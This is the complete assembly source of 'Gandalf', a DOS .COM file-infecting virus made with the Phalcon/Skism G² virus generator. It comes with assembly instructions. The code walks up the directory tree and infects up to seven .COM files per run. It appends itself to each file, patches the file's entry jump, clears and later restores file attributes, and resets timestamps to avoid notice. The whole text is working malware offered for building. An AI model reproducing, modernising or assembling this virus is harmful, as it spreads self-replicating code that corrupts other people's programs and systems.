; Virus generated by Gý 0.70á ; Gý written by Dark Angel of Phalcon/Skism ; File: GANDALF.ASM ; Gandalf by Ender .model tiny .code ; Assemble with: ; TASM /m3 filename.ASM ; TLINK /t filename.OBJ org 0100h carrier: db 0E9h,0,0 ; jmp start start: call next next: pop bp sub bp, offset next mov ah, 0047h ; Get directory lea si, [bp+offset origdir+1] cwd ; Default drive int 0021h lea dx, [bp+offset newDTA] mov ah, 001Ah ; Set DTA int 0021h mov ax, 3524h int 0021h push es push bx lea dx, [bp+INT24] ; ASSumes ds=cs mov ax, 2524h int 0021h push cs pop es restore_COM: mov di, 0100h push di lea si, [bp+offset old3] movsb movsw mov byte ptr [bp+numinfect], 0000h traverse_loop: lea dx, [bp+offset COMmask] call infect cmp [bp+numinfect], 0007h jae exit_traverse ; exit if enough infected mov ah, 003Bh ; CHDIR lea dx, [bp+offset dot_dot] ; go to previous dir int 0021h jnc traverse_loop ; loop if no error exit_traverse: lea si, [bp+offset origdir] mov byte ptr [si], '\' mov ah, 003Bh ; restore directory xchg dx, si int 0021h pop dx pop ds mov ax, 2524h int 0021h mov dx, 0080h ; in the PSP mov ah, 001Ah ; restore DTA to default int 0021h return: ret old3 db 0cdh,20h,0 INT24: mov al, 0003h iret infect: mov cx, 0007h ; all files mov ah, 004Eh ; find first findfirstnext: int 0021h jc return mov ax, 4300h lea dx, [bp+newDTA+30] int 0021h jc return push cx push dx mov ax, 4301h ; clear file attributes push ax ; save for later use xor cx, cx int 0021h mov ax, 3D02h lea dx, [bp+newDTA+30] int 0021h mov bx, ax ; xchg ax,bx is more efficient mov ax, 5700h ; get file time/date int 0021h push cx push dx mov ah, 003Fh mov cx, 001Ah lea dx, [bp+offset readbuffer] int 0021h mov ax, 4202h xor cx, cx cwd int 0021h cmp word ptr [bp+offset readbuffer], 'ZM' jz jmp_close mov cx, word ptr [bp+offset readbuffer+1] ; jmp location add cx, heap-start+3 ; convert to filesize cmp ax, cx ; equal if already infected jl skipp jmp_close: jmp close skipp: cmp ax, 65535-(endheap-start) ; check if too large ja jmp_close ; Exit if so cmp ax, (heap-start) ; check if too small jb jmp_close ; Exit if so lea si, [bp+offset readbuffer] lea di, [bp+offset old3] movsb movsw sub ax, 0003h mov word ptr [bp+offset readbuffer+1], ax mov dl, 00E9h mov byte ptr [bp+offset readbuffer], dl lea dx, [bp+offset start] mov ah, 0040h ; concatenate virus mov cx, heap-start int 0021h xor cx, cx mov ax, 4200h xor dx, dx int 0021h mov cx, 0003h lea dx, [bp+offset readbuffer] mov ah, 0040h int 0021h inc [bp+numinfect] close: mov ax, 5701h ; restore file time/date pop dx pop cx int 0021h mov ah, 003Eh int 0021h pop ax ; restore file attributes pop dx ; get filename and pop cx ; attributes from stack int 0021h mov ah, 004Fh ; find next jmp findfirstnext signature db '[PS/Gý]',0 ; Phalcon/Skism Gý creator db 'Ender',0 virusname db 'Gandalf',0 COMmask db '*.COM',0 dot_dot db '..',0 heap: newDTA db 43 dup (?) origdir db 65 dup (?) numinfect db ? readbuffer db 1ah dup (?) endheap: end carrier